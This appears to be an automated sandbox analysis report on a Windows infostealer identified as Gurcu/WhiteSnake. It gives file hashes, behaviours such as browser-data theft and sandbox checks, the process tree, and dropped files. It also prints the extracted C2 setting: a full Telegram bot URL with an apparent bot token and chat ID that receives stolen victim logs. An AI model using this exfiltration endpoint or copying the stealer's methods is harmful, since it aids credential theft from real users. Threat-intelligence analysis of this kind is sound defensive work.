Analysis

  • max time kernel
    96s
  • max time network
    100s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-12-2024 16:47

General

  • Target

    177a970a8a6c5e5e6b5c04c40bf3fe1c.exe

  • Size

    5.6MB

  • MD5

    177a970a8a6c5e5e6b5c04c40bf3fe1c

  • SHA1

    64709ca99a03f416a854817427d4543043e204ad

  • SHA256

    2a06b6535a0057b961f41e9b0790ffbc6f540566f2c21ae66cee4b61f5a360eb

  • SHA512

    4c1c3716ec518102d16e11fbb84f0446d75cfc8db97a5635e4f71e407431b2a21bdb35bfa38e5414f28d044b176cfce044e5da0984c519713c0e3b82657a2317

  • SSDEEP

    98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:adOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot8137653339:AAG5i0WFhwI1I4U5IchQ2c9wOIxNBiamQsk/sendDocument?chat_id=6518356118&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

  • Gurcu family
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\177a970a8a6c5e5e6b5c04c40bf3fe1c.exe
    "C:\Users\Admin\AppData\Local\Temp\177a970a8a6c5e5e6b5c04c40bf3fe1c.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB287.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpB287.tmp.bat
      2⤵
        PID:1420

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

      Filesize

      1.7MB

      MD5

      65ccd6ecb99899083d43f7c24eb8f869

      SHA1

      27037a9470cc5ed177c0b6688495f3a51996a023

      SHA256

      aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

      SHA512

      533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

    • C:\Users\Admin\AppData\Local\Temp\tmpB287.tmp.bat

      Filesize

      200B

      MD5

      8db10ead3b5ab89d659ef41d97be0fd3

      SHA1

      3ce0f46c1dea8b1687538a8ab52d18b429590c1e

      SHA256

      2de67065732bb6ff71ea9e400bc81dfbf801c341cd4a48879e82af01382bc5c4

      SHA512

      e539e28ad3f00fd0e82a7d4c2b59cba0cb5c99522582d8114e4437c0b7b28276f8279af2ea2ccdcda06eb91267c0bd9aa8e61703138a2471a7278cee59145ea3

    • C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

      Filesize

      116KB

      MD5

      f70aa3fa04f0536280f872ad17973c3d

      SHA1

      50a7b889329a92de1b272d0ecf5fce87395d3123

      SHA256

      8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

      SHA512

      30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

    • memory/2124-12-0x000002329A150000-0x000002329A202000-memory.dmp

      Filesize

      712KB

    • memory/2124-14-0x00000232FFDC0000-0x00000232FFDE2000-memory.dmp

      Filesize

      136KB

    • memory/2124-8-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/2124-9-0x00000232FF150000-0x00000232FF16E000-memory.dmp

      Filesize

      120KB

    • memory/2124-10-0x0000023299770000-0x00000232997DA000-memory.dmp

      Filesize

      424KB

    • memory/2124-0-0x00007FFAC20B3000-0x00007FFAC20B5000-memory.dmp

      Filesize

      8KB

    • memory/2124-13-0x00000232FFD70000-0x00000232FFDC0000-memory.dmp

      Filesize

      320KB

    • memory/2124-7-0x00000232FFDF0000-0x00000232FFE66000-memory.dmp

      Filesize

      472KB

    • memory/2124-16-0x000002329A280000-0x000002329A2BA000-memory.dmp

      Filesize

      232KB

    • memory/2124-17-0x00000232995C0000-0x00000232995E6000-memory.dmp

      Filesize

      152KB

    • memory/2124-18-0x000002329AF00000-0x000002329B22E000-memory.dmp

      Filesize

      3.2MB

    • memory/2124-45-0x00000232FF170000-0x00000232FF182000-memory.dmp

      Filesize

      72KB

    • memory/2124-57-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/2124-70-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/2124-6-0x00000232FF120000-0x00000232FF12A000-memory.dmp

      Filesize

      40KB

    • memory/2124-1-0x00000232FE7D0000-0x00000232FED68000-memory.dmp

      Filesize

      5.6MB